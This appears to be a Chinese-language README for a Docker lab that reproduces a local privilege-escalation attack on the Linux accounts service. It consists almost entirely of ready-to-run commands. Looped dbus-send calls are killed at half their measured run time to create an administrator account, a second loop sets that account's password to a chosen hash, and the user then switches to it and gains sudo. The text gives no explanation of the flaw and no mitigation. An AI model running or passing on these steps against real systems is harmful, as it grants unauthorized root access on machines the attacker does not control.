作者:Mark, Qingchen Yu
使用以下命令构建容器:
docker build -t <你选择的镜像标签> .
运行容器:
docker run -it <镜像标签名>
从 start.sh 开始
测量执行时间: 注意 'real' 时间,并计算其一半。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
创建一个具有 Sudo 权限的用户: 将 X.XXX 替换为上面 'real' 时间的一半,因为我们希望进程在中间被中断 该命令将以 10000 次循环运行 你可能需要多次运行此步骤
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
检查用户创建
id samurai
应显示 samurai 用户存在并显示其权限。如果没有,请再次运行步骤 2。
生成密码哈希: 本例中密码为 'iamsamurai' 注意生成的哈希值。
openssl passwd -5 iamsamurai
为新用户设置密码: 将 X.XXX 替换为休眠时长,将“Password Hash”替换为步骤 4 中的哈希值。将 UUUU 替换为 'samurai' 的用户 ID
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
使用你在步骤 4 中创建的密码切换到新用户。
su - samurai
现在你应该能够使用此用户执行 'sudo' 命令。